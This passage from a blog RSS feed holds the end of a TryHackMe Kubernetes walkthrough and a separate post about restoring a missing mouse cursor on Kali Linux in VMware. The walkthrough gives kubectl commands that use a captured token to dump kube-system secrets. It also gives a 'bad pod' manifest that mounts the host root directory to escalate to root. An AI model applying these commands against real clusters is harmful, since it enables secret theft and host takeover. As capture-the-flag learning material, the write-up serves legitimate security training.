--server=https://10.10.163.30:6443 get namespaces<br><br>#we list all the secrets in the kube-system namespace<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 get secrets -n kube-system<br><br>#we get our third flag as a json output<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 get secret -n kube-system flag3 -o json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*6SnfqwYu15cH9StZbFf1LQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*xp_EvjioWzC7Kx9McColrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*5bYw7lNgJz2orGXhipScRw.png" /></figure><h3>Step 6: Privilege Escalation</h3><p>Since we have full access, we can create our own pod with specific commands in order to get to root. Again, I had to read up and found this useful <em>GitHub </em>repo <a href="https://github.com/BishopFox/badPods">https://github.com/BishopFox/badPods</a> , it is my first time creating a <em>‘bad pod’. </em>So basically, what we did was to mount the root directory of the <em>nginx</em> pod to our <em>own pod</em>.</p><pre>#We take a look at the pods<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 get pods -A<br><br>#We select one of the pods (gitea or nginx) in order to use the image as seen in its yaml file<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 get pod nginx-7f459c6889-8slv2 -o yaml<br><br>#We create our own yaml file with the image selected - I have attached the yaml file separately<br>nano pfl.yaml<br><br>#We create our pod in the &#39;default&#39; namespace<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 -n default apply -f pfl.yaml<br><br>#We confirm that the pod was successfully created<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 get pods<br><br>#We go ahead to connect to the pod<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 -n default exec pfl -i -t --bash -il<br><br>#We are in the pod and list the contents of root<br>ls -la root<br><br>#We view the content of our flag<br>cat root/root.txt<br><br></pre><pre>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: pfl<br>spec:<br>   containers:<br>  - name: pfl<br>    image: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750<br>    volumeMounts:<br>    - mountPath: /pfl<br>      name: pfl<br>      command: [ &quot;/bin/sh&quot;, &quot;-c&quot;, &quot;--&quot; ]<br>    args: [ &quot;while true; do sleep 30; done;&quot; ]<br>   volumes:<br>  - name: pfl<br>    hostPath:<br>      path: /<br>      type: Directory </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Xpr_s3sLbPR7tnKPfTDjrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*a8rZnhuO4yjuc-CgjWmQMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pLpO2BjDgi_8fG5ByJe7uQ.png" /></figure><p>We have our final flag and with this we have come to the end of the challenge. I had a great time doing this coupled with the chance to learn about git hooks exploitation.</p><p>If you are also learning kubernetes security or working through TryHackMe rooms, I’d love to hear how you approached this challenge or what you found tricky. Feel free to share your thoughts or questions in the comments.</p><p>I will be publishing more Kubernetes security walkthroughs as I continue building hands-on cloud pentesting skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b99a9fc2acc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cursor/Mouse Pointer not showing on Kali Linux]]></title>
            <link>https://medium.com/@toibatbamigboye/cursor-mouse-pointer-not-showing-on-kali-linux-3c52223e5d39?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c52223e5d39</guid>
            <category><![CDATA[kali-linux-mouse]]></category>
            <category><![CDATA[cursor-not-showing]]></category>
            <category><![CDATA[mouse-pointer-not-working]]></category>
            <category><![CDATA[kali-linux-mouse-pointer]]></category>
            <category><![CDATA[kali-linux-cursor]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Thu, 23 Oct 2025 10:09:22 GMT</pubDate>
            <atom:updated>2025-10-23T10:09:22.580Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*SwuKR9PO8-VoKaWonlXgXQ.png" /></figure><p>I couldn’t see the cursor and it was difficult to use the machine. I tried changing the theme of the mouse from the settings but it didn’t work.</p><p>Next thing, I came to “Google” and saw that it is a common occurrence which was a relief because there is definitely a solution on ground. I found this very helpful video that solved it in a minute <a href="https://www.youtube.com/watch?v=eMLFXmj-s7Q">https://www.youtube.com/watch?v=eMLFXmj-s7Q</a></p><p>Great, my cursor is visible but I am facing another challenge. My mouse and Touchpad are not working. After a series of restarting the kali Linux, VMware and my laptop, I figured I must have tampered with the setting in the process of troubleshooting. Next thing, I asked Google.</p><p>This time, It was on the shortcut key to access the settings in order to figure out the issue. I am pretty good with my keyboard tab and arrow keys so I easily found my way. In case you are having the issue of the mouse and touchpad not working after upgrading, here are the steps for you:</p><ol><li>Pressed <strong>Alt + F1</strong> to open the <strong>Applications menu</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*SwuKR9PO8-VoKaWonlXgXQ.png" /></figure><p>2. Typed <strong>“Mouse and Touchpad”</strong> and hit <strong>Enter</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*8nYURm97Kq8s9MugwopEFQ.png" /></figure><p>3. Used the <strong>Tab</strong> key to move to the <strong>Device</strong> section.</p><p>4. Pressed <strong>Enter</strong>, then used the <strong>arrow keys</strong> to select the right device — in my case: VMware VMware Virtual USB Mouse</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*S1YbcoIu2tQx8wqAs-QESw.png" /></figure><p>5. Hit <strong>Enter</strong> again to confirm.</p><p>6. Used <strong>Tab</strong> once more to reach the <strong>toggle switch</strong> and pressed <strong>Enter</strong> to enable the device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*5TbchX3hpaOcH9A2K68wFA.png" /></figure><p>My mouse and Touchpad works fine plus the cursor/pointer is visible.</p><p>In summary, foundation is very important and it took a while for me to think of using my keyboard to navigate.</p><p>Have a great time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c52223e5d39" width="1" height="1" alt="">]]></content:encoded>
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